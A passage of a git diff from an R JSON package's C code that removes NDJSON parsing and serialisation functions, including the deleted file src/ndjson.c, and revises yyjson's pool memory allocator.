for (unsigned int col = 0; col < ncols; col++) { - const char *key_str = CHAR(STRING_ELT(nms_, col)); - yyjson_mut_val *key = yyjson_mut_str(doc, key_str); - yyjson_mut_val *val; - SEXP col_ = VECTOR_ELT(robj_, col); - - switch(TYPEOF(col_)) { - case LGLSXP: - val = scalar_logical_to_json_val(INTEGER(col_)[row], doc, &opt); - break; - case INTSXP: - if (isFactor(col_)) { - val = scalar_factor_to_json_val(col_, row, doc, &opt); - } else if (inherits(col_, "Date")) { - val = scalar_date_to_json_val(col_, row, doc, &opt); - } else if (inherits(col_, "POSIXct")) { - val = scalar_posixct_to_json_val(col_, row, doc, &opt); - } else { - val = scalar_integer_to_json_val(INTEGER(col_)[row], doc, &opt); - } - break; - case REALSXP: { - if (inherits(col_, "Date")) { - val = scalar_date_to_json_val(col_, row, doc, &opt); - } else if (inherits(col_, "POSIXct")) { - val = scalar_posixct_to_json_val(col_, row, doc, &opt); - } else if (inherits(col_, "integer64")) { - val = scalar_integer64_to_json_val(col_, row, doc, &opt); - } else { - val = scalar_double_to_json_val(REAL(col_)[row], doc, &opt); - } - } - break; - case STRSXP: { - val = scalar_strsxp_to_json_val(col_, row, doc, &opt); - } - break; - case VECSXP: - val = serialize_core(VECTOR_ELT(col_, row), doc, &opt); - break; - case RAWSXP: - val = scalar_rawsxp_to_json_val(col_, row, doc, &opt); - break; - default: - error("data_frame_to_json_array_of_objects(): Unhandled scalar SEXP: %s\n", type2char(TYPEOF(col_))); - } - // Add value to row obj - if (val != NULL) { - yyjson_mut_obj_add(obj, key, val); - } - } - yyjson_mut_doc_set_root(doc, obj); - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Write to JSON string - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - yyjson_write_err err; - bool res = yyjson_mut_write_fp(file, doc, opt.yyjson_write_flag, NULL, &err); - if (!res) { - error("Error writing to file at row %i\n", row); - } - fputc('\n', file); - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // tidy and return - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - yyjson_mut_doc_free(doc); - - } - - fclose(file); - - return R_NilValue; -} - - - - - -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -// Serialize list or data.frame to NDJSON -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -SEXP serialize_df_to_ndjson_str_(SEXP robj_, SEXP serialize_opts_) { - - serialize_options opt = parse_serialize_options(serialize_opts_); - - if (!inherits(robj_, "data.frame")) { - error("serialize_ndjson_(): object must a list or data.frame"); - } - - // Get sexp_types of all columns - // Get number of rows - // for each row - // create document - // create {}-object - // for each col - // add value to object - // write string to file. - - unsigned int ncols = length(robj_); - unsigned int nrows = length(VECTOR_ELT(robj_, 0)); - SEXP nms_ = getAttrib(robj_, R_NamesSymbol); - - char **ndjson = NULL; - ndjson = (char **)calloc(nrows, sizeof(char *)); - - for (unsigned int row = 0; row < nrows; row++) { - yyjson_mut_doc *doc = yyjson_mut_doc_new(NULL); - yyjson_mut_val *obj = yyjson_mut_obj(doc); - for (unsigned int col = 0; col < ncols; col++) { - const char *key_str = CHAR(STRING_ELT(nms_, col)); - yyjson_mut_val *key = yyjson_mut_str(doc, key_str); - yyjson_mut_val *val; - SEXP col_ = VECTOR_ELT(robj_, col); - - switch(TYPEOF(col_)) { - case LGLSXP: - val = scalar_logical_to_json_val(INTEGER(col_)[row], doc, &opt); - break; - case INTSXP: - if (isFactor(col_)) { - val = scalar_factor_to_json_val(col_, row, doc, &opt); - } else if (inherits(col_, "Date")) { - val = scalar_date_to_json_val(col_, row, doc, &opt); - } else if (inherits(col_, "POSIXct")) { - val = scalar_posixct_to_json_val(col_, row, doc, &opt); - } else { - val = scalar_integer_to_json_val(INTEGER(col_)[row], doc, &opt); - } - break; - case REALSXP: { - if (inherits(col_, "Date")) { - val = scalar_date_to_json_val(col_, row, doc, &opt); - } else if (inherits(col_, "POSIXct")) { - val = scalar_posixct_to_json_val(col_, row, doc, &opt); - } else if (inherits(col_, "integer64")) { - val = scalar_integer64_to_json_val(col_, row, doc, &opt); - } else { - val = scalar_double_to_json_val(REAL(col_)[row], doc, &opt); - } - } - break; - case STRSXP: { - val = scalar_strsxp_to_json_val(col_, row, doc, &opt); - } - break; - case VECSXP: - val = serialize_core(VECTOR_ELT(col_, row), doc, &opt); - break; - case RAWSXP: - val = scalar_rawsxp_to_json_val(col_, row, doc, &opt); - break; - default: - error("data_frame_to_json_array_of_objects(): Unhandled scalar SEXP: %s\n", type2char(TYPEOF(col_))); - } - // Add value to row obj - if (val != NULL) { - yyjson_mut_obj_add(obj, key, val); - } - } - yyjson_mut_doc_set_root(doc, obj); - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Write to JSON string - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - ndjson[row] = yyjson_mut_write(doc, opt.yyjson_write_flag, NULL); - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // tidy and return - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - yyjson_mut_doc_free(doc); - - } - - // concatenate into single string for return to R - unsigned int total_len = 1; // extra '1' for '\0' byte at end of string - for (unsigned int row = 0; row < nrows; row++) { - total_len += strlen(ndjson[row]) + 1; // extra 1 for `\n' for each row. - // Rprintf("Total length: %i\n", total_len); - } - char *total_str; - total_str = (char *)calloc(total_len, sizeof(char)); - - unsigned int idx = 0; - for (unsigned int row = 0; row < nrows; row++) { - strcpy(total_str + idx, ndjson[row]); - idx += strlen(ndjson[row]); - if (row == nrows - 1) { - total_str[idx] = '\0'; - } else { - total_str[idx] = '\n'; - idx++; - } - } - - SEXP ndjson_ = PROTECT(allocVector(STRSXP, 1)); - SET_STRING_ELT(ndjson_, 0, mkChar(total_str)); - free(ndjson); - UNPROTECT(1); - return ndjson_; -} - - - - - diff --git a/src/ndjson.c b/src/ndjson.c deleted file mode 100644 index 2575351..0000000 --- a/src/ndjson.c +++ /dev/null @@ -1,510 +0,0 @@ - - -#include -#include -#include -#include - -#include -#include -#include - -#include - -#include "yyjson.h" -#include "R-yyjson-parse.h" -#include "R-yyjson-serialize.h" - -#define MAX_LINE_LENGTH 131072 -#define INIT_LIST_LENGTH 64 - - -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -// Double the length of a list by -// - allocating space for a list which is twice the length -// - copy across all elements one-by-one -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -SEXP grow_list(SEXP oldlist) { - R_len_t len = XLENGTH(oldlist); - SEXP newlist = PROTECT(allocVector(VECSXP, 2 * len)); - for (R_len_t i=0; i < len; i++) { - SET_VECTOR_ELT(newlist, i, VECTOR_ELT(oldlist, i)); - } - UNPROTECT(1); - return newlist; -} - - -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -// Count the number of newlines in a file -// 'gz' lib handles compressed and uncompressed files. -// -// Two options for parsing streaming input from a file: -// (1) calculate num of lines. Allocate this exactly. Parse file. -// - PRO: Minimise re-allocation as data grows -// - CON: have to traverse the file twice -// (2) Start parsing and just double memory allocation whenver we run out -// of room in the data.frame or list. -// - PRO: Only traverse the file once -// - CON: Have to spend effort re-allocating R object as it grows -// -// For LIST objects, it's really easy to gorw their size. See 'grow_list_()' -// and then just truncate it to the actual data size at the end. -// -// For data.frames, growing its size involves growing the size of every -// column individually. For int/double, this is an easy re-allocation. -// For string STRSXP you'd have to grow them in the same manner as 'grow_list_()' -// grows VECSXP objects. This seems like a lot of work in order to figure -// out if its any faster than just traverseing the file twice in order to -// count number of newlines. -// -// For now (2023-08-09), ndjson->list will use method (2) and -// ndjson->data.frame will use method (10) -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -int count_lines(const char *filename) { - char buf[MAX_LINE_LENGTH]; - int counter = 0; - - gzFile file = gzopen(filename, "r"); - - for(;;) { - size_t res = gzfread(buf, 1, MAX_LINE_LENGTH, file); - - int i; - for(i = 0; i < res; i++) { - if (buf[i] == '\n') - counter++; - } - - if (gzeof(file)) - break; - } - - gzclose(file); - return counter; -} - - - -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -// Parse ndjson as a list of R objects: one-r-object-per-line-of-input -// -// Compared to parsing to data.frame -// PRO: Simple -// PRO: Can handle any type without worrying about data.frame column types -// being consistent across multiple input lines -// CON: Slower: Every object on every line gets allocated into an R object -// Compared to data.frame which allocates all its space at once and -// just slots values into this memory. -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -SEXP parse_ndjson_file_as_list_(SEXP filename_, SEXP nread_, SEXP nskip_, SEXP parse_opts_) { - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Buffer to read each line of the input file. - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - char buf[MAX_LINE_LENGTH]; - - parse_options opt = create_parse_options(parse_opts_); - - unsigned int nread = asInteger(nread_); - unsigned int nskip = asInteger(nskip_); - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Check for file - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - const char *filename = (const char *)CHAR(STRING_ELT(filename_, 0)); - filename = R_ExpandFileName(filename); - if (access(filename, R_OK) != 0) { - error("Cannot read from file '%s'", filename); - } - - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Open file - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - gzFile input = gzopen(filename, "r"); - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Skip lines if requested - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - if (nskip > 0) { - while (gzgets(input, buf, MAX_LINE_LENGTH) != 0) { - nskip--; - if (nskip == 0) break; - } - } - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Allocating a list with a default starting size to grow into. - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - SEXP list_ = PROTECT(allocVector(VECSXP, 64)); - R_len_t list_size = XLENGTH(list_); - - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Iterate over the file. For each line - // - check if new data would overflow list - // - if so, then grow list - // - create a yyjson doc from this line - // - if document is NULL - // insert a NULL into list - // - otherwise - // insert resulting robject into list - // - free the doc - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - unsigned int i = 0; - while (gzgets(input, buf, MAX_LINE_LENGTH) != 0) { - - if (i >= nread) { - break; - } - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Grow list if we need more room - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - if (i >= list_size) { - UNPROTECT(1); - list_ = PROTECT(grow_list(list_)); - list_size = XLENGTH(list_); - } - - // ignore lines which are just a "\n". - // might have to do something fancier for lines with just whitespace - if (strlen(buf) <= 1) continue; - - yyjson_read_err err; - yyjson_doc *doc = yyjson_read_opts(buf, strlen(buf), opt.yyjson_read_flag, NULL, &err); - - if (doc == NULL) { - output_verbose_error(buf, err); - warning("Couldn't parse NDJSON row %i. Inserting 'NULL'\n", i + 1); - SET_VECTOR_ELT(list_, i, R_NilValue); - } else { - SET_VECTOR_ELT(list_, i, parse_json_from_str(buf, &opt)); - } - - yyjson_doc_free(doc); - - i++; - } - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // In-situ faux truncation of a VECSXP object. - // This just hides the trailing elements from R - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - SETLENGTH(list_, i); - SET_TRUELENGTH(list_, list_size); - SET_GROWABLE_BIT(list_); - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Close input, tidy memory and return - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - gzclose(input); - UNPROTECT(1); - return list_; -} - - - - -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -// Parse ndjson as a data.frame one-rorw-per-line-of-input -// -// Compared to parsing to list -// CON: Complex multi-column handling -// CON: in order to avoid re-allocation of memory as file is read, we have to -// do an initial pass over the file to count the lines so we know the -// number of rows. -// CON: Have to probe the data.set to find out data types for each column. -// This is done once at the start of the parse, and it is then -// assumed all future types match the types seen so far. -// This might not be true, but a comprimise I'm making for speed. -// PRO: Faster. Data.frame allocation happens once, and data is slotted into -// it. No re-allocation as we pre-determine the number of rows and -// type for each columnx -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -SEXP parse_ndjson_file_as_df_(SEXP filename_, SEXP nread_, SEXP nskip_, SEXP nprobe_, SEXP parse_opts_) { - - unsigned int nprotect = 0; - char buf[MAX_LINE_LENGTH]; - parse_options opt = create_parse_options(parse_opts_); - const char *filename = (const char *)CHAR(STRING_ELT(filename_, 0)); - filename = R_ExpandFileName(filename); - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Check for file - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - if (access(filename, R_OK) != 0) { - error("Cannot read from file '%s'", filename); - } - - - int nread = asInteger(nread_); - unsigned int nskip = asInteger(nskip_); - unsigned int nprobe = asInteger(nprobe_); - - if (nread < 0) { - nread = INT32_MAX; - } - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Get the maximum possible number of json rows in this ndjson file. - // Note: the actual number of rows to parse may be less than this due - // to blank lines and/or errors. - // 'nrows' controls the amount of memory pre-allocated for rows in the df. - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - unsigned int nrows = count_lines(filename); - - // Account for rows to be skipped - nrows = nrows - nskip; - if (nrows < 0) { - nrows = 0; - } - - // Ensure we don't read more than the user requested - if (nrows > nread) { - nrows = nread; - } - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Accumulation of unique key-names in the objects - // These will become the column names of the data.frame. - // Each column also has a 'type_bitset' to keep track of the type of each - // value across the different {}-objects - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - char *colname[MAX_DF_COLS]; - unsigned int type_bitset[MAX_DF_COLS] = {0}; - unsigned int sexp_type[MAX_DF_COLS] = {0}; - unsigned int ncols = 0; - - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Probe file for types - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - gzFile input = gzopen(filename, "r"); - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Skip lines if requested - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - if (nskip > 0) { - unsigned int nskip2 = nskip; - while (gzgets(input, buf, MAX_LINE_LENGTH) != 0) { - nskip2--; - if (nskip2 == 0) break; - } - } - - for (unsigned int i = 0; i < nprobe; i++) { - char *ret = gzgets(input, buf, MAX_LINE_LENGTH); - if (ret == NULL) { - break; - } - - - // ignore lines which are just a "\n". - // might have to do something fancier for lines with just whitespace - if (strlen(buf) <= 1) continue; - - yyjson_read_err err; - yyjson_doc *doc = yyjson_read_opts(buf, strlen(buf), opt.yyjson_read_flag, NULL, &err); - if (doc == NULL) { - output_verbose_error(buf, err); - error("Couldn't parse JSON during probe line %i\n", i + 1); - } - - yyjson_val *obj = yyjson_doc_get_root(doc); - yyjson_val *key; - yyjson_obj_iter obj_iter = yyjson_obj_iter_with(obj); // MUST be an object - - while ((key = yyjson_obj_iter_next(&obj_iter))) { - yyjson_val *val = yyjson_obj_iter_get_val(key); - - int name_idx = -1; - for (int i = 0; i < ncols; i++) { - if (yyjson_equals_str(key, colname[i])) { - name_idx = i; - break; - } - } - if (name_idx < 0) { - // Name has not been seen yet - name_idx = ncols; - colname[ncols] = (char *)yyjson_get_str(key); - ncols++; - if (ncols == MAX_DF_COLS) { - error("Maximum columns for data.frame exceeded: %i", MAX_DF_COLS); - } - } - - type_bitset[name_idx] = update_type_bitset(type_bitset[name_idx], val, &opt); - } - - } - - gzclose(input); - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Create a data.frame. - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - SEXP df_ = PROTECT(allocVector(VECSXP, ncols)); nprotect++; - - - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // For each column name, - // - determine the best SEXP to represent the 'type_bitset' - // - Call a parse function which will - // - loop through the entire []-array, plucking the value from each - // {}-object - // - return an atomic vector or a list - // - place this vector as a column in the data.frame - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - for (unsigned int col = 0; col < ncols; col++) { - sexp_type[col] = get_best_sexp_to_represent_type_bitset(type_bitset[col], &opt); - - // INT64SXP is actually contained in a REALSXP - unsigned int alloc_type = sexp_type[col] == INT64SXP ? REALSXP : sexp_type[col]; - - // Allocate memory for column - SEXP vec_ = PROTECT(allocVector(alloc_type, nrows)); - if (sexp_type[col] == INT64SXP) { - setAttrib(vec_, R_ClassSymbol, mkString("integer64")); - } - - // place vector into data.frame - SET_VECTOR_ELT(df_, col, vec_); - UNPROTECT(1); // no longer needs protection once part of data.frame - } - - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Parse file - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - input = gzopen(filename, "r"); - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Skip lines if requested - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - if (nskip > 0) { - while (gzgets(input, buf, MAX_LINE_LENGTH) != 0) { - nskip--; - if (nskip == 0) break; - } - } - - // keep track of actual number of rows parsed. - // This might not be the same as 'nrow' as we can skip rows that we - // cna't parse. - unsigned int row = 0; - - for (unsigned int i = 0; i < nrows; i++) { - char *ret = gzgets(input, buf, MAX_LINE_LENGTH); - if (ret == NULL) { - error("Unexepcted end to data\n"); - } - - // ignore lines which are just a "\n". - // might have to do something fancier for lines with just whitespace - if (strlen(buf) <= 1) continue; - - yyjson_read_err err; - yyjson_doc *doc = yyjson_read_opts(buf, strlen(buf), opt.yyjson_read_flag, NULL, &err); - if (doc == NULL) { - output_verbose_error(buf, err); - error("Couldn't parse JSON on line %i\n", i + 1); - } - - yyjson_val *obj = yyjson_doc_get_root(doc); - if (yyjson_get_type(obj) != YYJSON_TYPE_OBJ) { - error("parse_ndjson_as_df() only works if all lines represent JSON objects"); - } - - for (unsigned int col = 0; col < ncols; col++) { - SEXP column_ = VECTOR_ELT(df_, col); - - yyjson_val *val = yyjson_obj_get(obj, colname[col]); - - switch(sexp_type[col]) { - case LGLSXP: - LOGICAL(column_)[row] = json_val_to_logical(val, &opt); - break; - case INTSXP: - INTEGER(column_)[row] = json_val_to_integer(val, &opt); - break; - case INT64SXP: { - long long tmp = json_val_to_integer64(val, &opt); - ((long long *)(REAL(column_)))[row] = tmp; - } - break; - case REALSXP: - REAL(column_)[row] = json_val_to_double(val, &opt); - break; - case STRSXP: - if (val == NULL) { - SET_STRING_ELT(column_, row, NA_STRING); - } else { - SET_STRING_ELT(column_, row, json_val_to_charsxp(val, &opt)); - } - break; - case VECSXP: - if (val == NULL) { - if (opt.missing_list_elem) { - SET_VECTOR_ELT(column_, row, ScalarLogical(INT32_MIN)); - } else { - SET_VECTOR_ELT(column_, row, R_NilValue); - } - } else { - SET_VECTOR_ELT(column_, row, json_as_robj(val, &opt)); - } - break; - default: - error("parse_ndjson_file_as_df_(): Unknown type"); - } - - } - - row++; - } - - gzclose(input); - - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Set colnames on data.frame - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - SEXP nms_ = PROTECT(allocVector(STRSXP, ncols)); nprotect++; - for (unsigned int i = 0; i < ncols; i++) { - SET_STRING_ELT(nms_, i, mkChar(colname[i])); - } - Rf_setAttrib(df_, R_NamesSymbol, nms_); - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Resize each data.frame column vector to match the actual data length - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - if (nrows != row) { - unsigned int allocated_length = nrows; - unsigned int data_length = row; - for (int i=0; i < length(df_); i++) { - SETLENGTH(VECTOR_ELT(df_, i), data_length); - SET_TRUELENGTH(VECTOR_ELT(df_, i), allocated_length); - SET_GROWABLE_BIT(VECTOR_ELT(df_, i)); - } - } - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Set empty rownames on data.frame - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - SEXP rownames = PROTECT(allocVector(INTSXP, 2)); nprotect++; - SET_INTEGER_ELT(rownames, 0, NA_INTEGER); - SET_INTEGER_ELT(rownames, 1, -row); - setAttrib(df_, R_RowNamesSymbol, rownames); - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Set 'data.frame' class - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - SET_CLASS(df_, mkString("data.frame")); - - UNPROTECT(nprotect); - return df_; -} - diff --git a/src/yyjson.c b/src/yyjson.c index c669bab..3e74166 100644 --- a/src/yyjson.c +++ b/src/yyjson.c @@ -307,6 +307,9 @@ uint32_t yyjson_version(void) { #define YYJSON_MUT_DOC_VAL_POOL_INIT_SIZE (0x10 * sizeof(yyjson_mut_val)) #define YYJSON_MUT_DOC_VAL_POOL_MAX_SIZE (0x1000000 * sizeof(yyjson_mut_val)) +/* The minimum size of the dynamic allocator's chunk. */ +#define YYJSON_ALC_DYN_MIN_SIZE 0x1000 + /* Default value for compile-time options. */ #ifndef YYJSON_DISABLE_READER #define YYJSON_DISABLE_READER 0 @@ -966,6 +969,15 @@ static const yyjson_alc YYJSON_DEFAULT_ALC = { NULL }; + + +/*============================================================================== + * Null Memory Allocator + * + * This allocator is just a placeholder to ensure that the internal + * malloc/realloc/free function pointers are not null. + *============================================================================*/ + static void *null_malloc(void *ctx, usize size) { return NULL; } @@ -989,29 +1001,37 @@ static const yyjson_alc YYJSON_NULL_ALC = { /*============================================================================== * Pool Memory Allocator - * This is a simple memory allocator that uses linked list memory chunk. - * The following code will be executed only when the library user creates - * this allocator manually. + * + * This allocator is initialized with a fixed-size buffer. + * The buffer is split into multiple memory chunks for memory allocation. *============================================================================*/ -/** chunk header */ +/** memory chunk header */ typedef struct pool_chunk { - usize size; /* chunk memory size (include chunk header) */ - struct pool_chunk *next; + usize size; /* chunk memory size, include chunk header */ + struct pool_chunk *next; /* linked list, nullable */ + /* char mem[]; flexible array member */ } pool_chunk; -/** ctx header */ +/** allocator ctx header */ typedef struct pool_ctx { - usize size; /* total memory size (include ctx header) */ - pool_chunk *free_list; + usize size; /* total memory size, include ctx header */ + pool_chunk *free_list; /* linked list, nullable */ + /* pool_chunk chunks[]; flexible array member */ } pool_ctx; +/** align up the input size to chunk size */ +static_inline void pool_size_align(usize *size) { + *size = size_align_up(*size, sizeof(pool_chunk)) + sizeof(pool_chunk); +} + static void *pool_malloc(void *ctx_ptr, usize size) { + /* assert(size != 0) */ pool_ctx *ctx = (pool_ctx *)ctx_ptr; pool_chunk *next, *prev = NULL, *cur = ctx->free_list; - if (unlikely(size == 0 || size >= ctx->size)) return NULL; - size = size_align_up(size, sizeof(pool_chunk)) + sizeof(pool_chunk); + if (unlikely(size >= ctx->size)) return NULL; + pool_size_align(&size); while (cur) { if (cur->size < size) { @@ -1038,6 +1058,7 @@ static void *pool_malloc(void *ctx_ptr, usize size) { } static void pool_free(void *ctx_ptr, void *ptr) { + /* assert(ptr != NULL) */ pool_ctx *ctx = (pool_ctx *)ctx_ptr; pool_chunk *cur = ((pool_chunk *)ptr) - 1; pool_chunk *prev = NULL, *next = ctx->free_list; @@ -1064,25 +1085,15 @@ static void pool_free(void *ctx_ptr, void *ptr) { static void *pool_realloc(void *ctx_ptr, void *ptr, usize old_size, usize size) { + /* assert(ptr != NULL && size != 0 && old_size < size) */ pool_ctx *ctx = (pool_ctx *)ctx_ptr; pool_chunk *cur = ((pool_chunk *)ptr) - 1, *prev, *next, *tmp; - usize free_size; - void *new_ptr; - - if (unlikely(size == 0 || size >= ctx->size)) return NULL; - size = size_align_up(size, sizeof(pool_chunk)) + sizeof(pool_chunk); - /* reduce size */ - if (unlikely(size <= cur->size)) { - free_size = cur->size - size; - if (free_size >= sizeof(pool_chunk) * 2) { - tmp = (pool_chunk *)(void *)((u8 *)cur + cur->size - free_size); - tmp->size = free_size; - 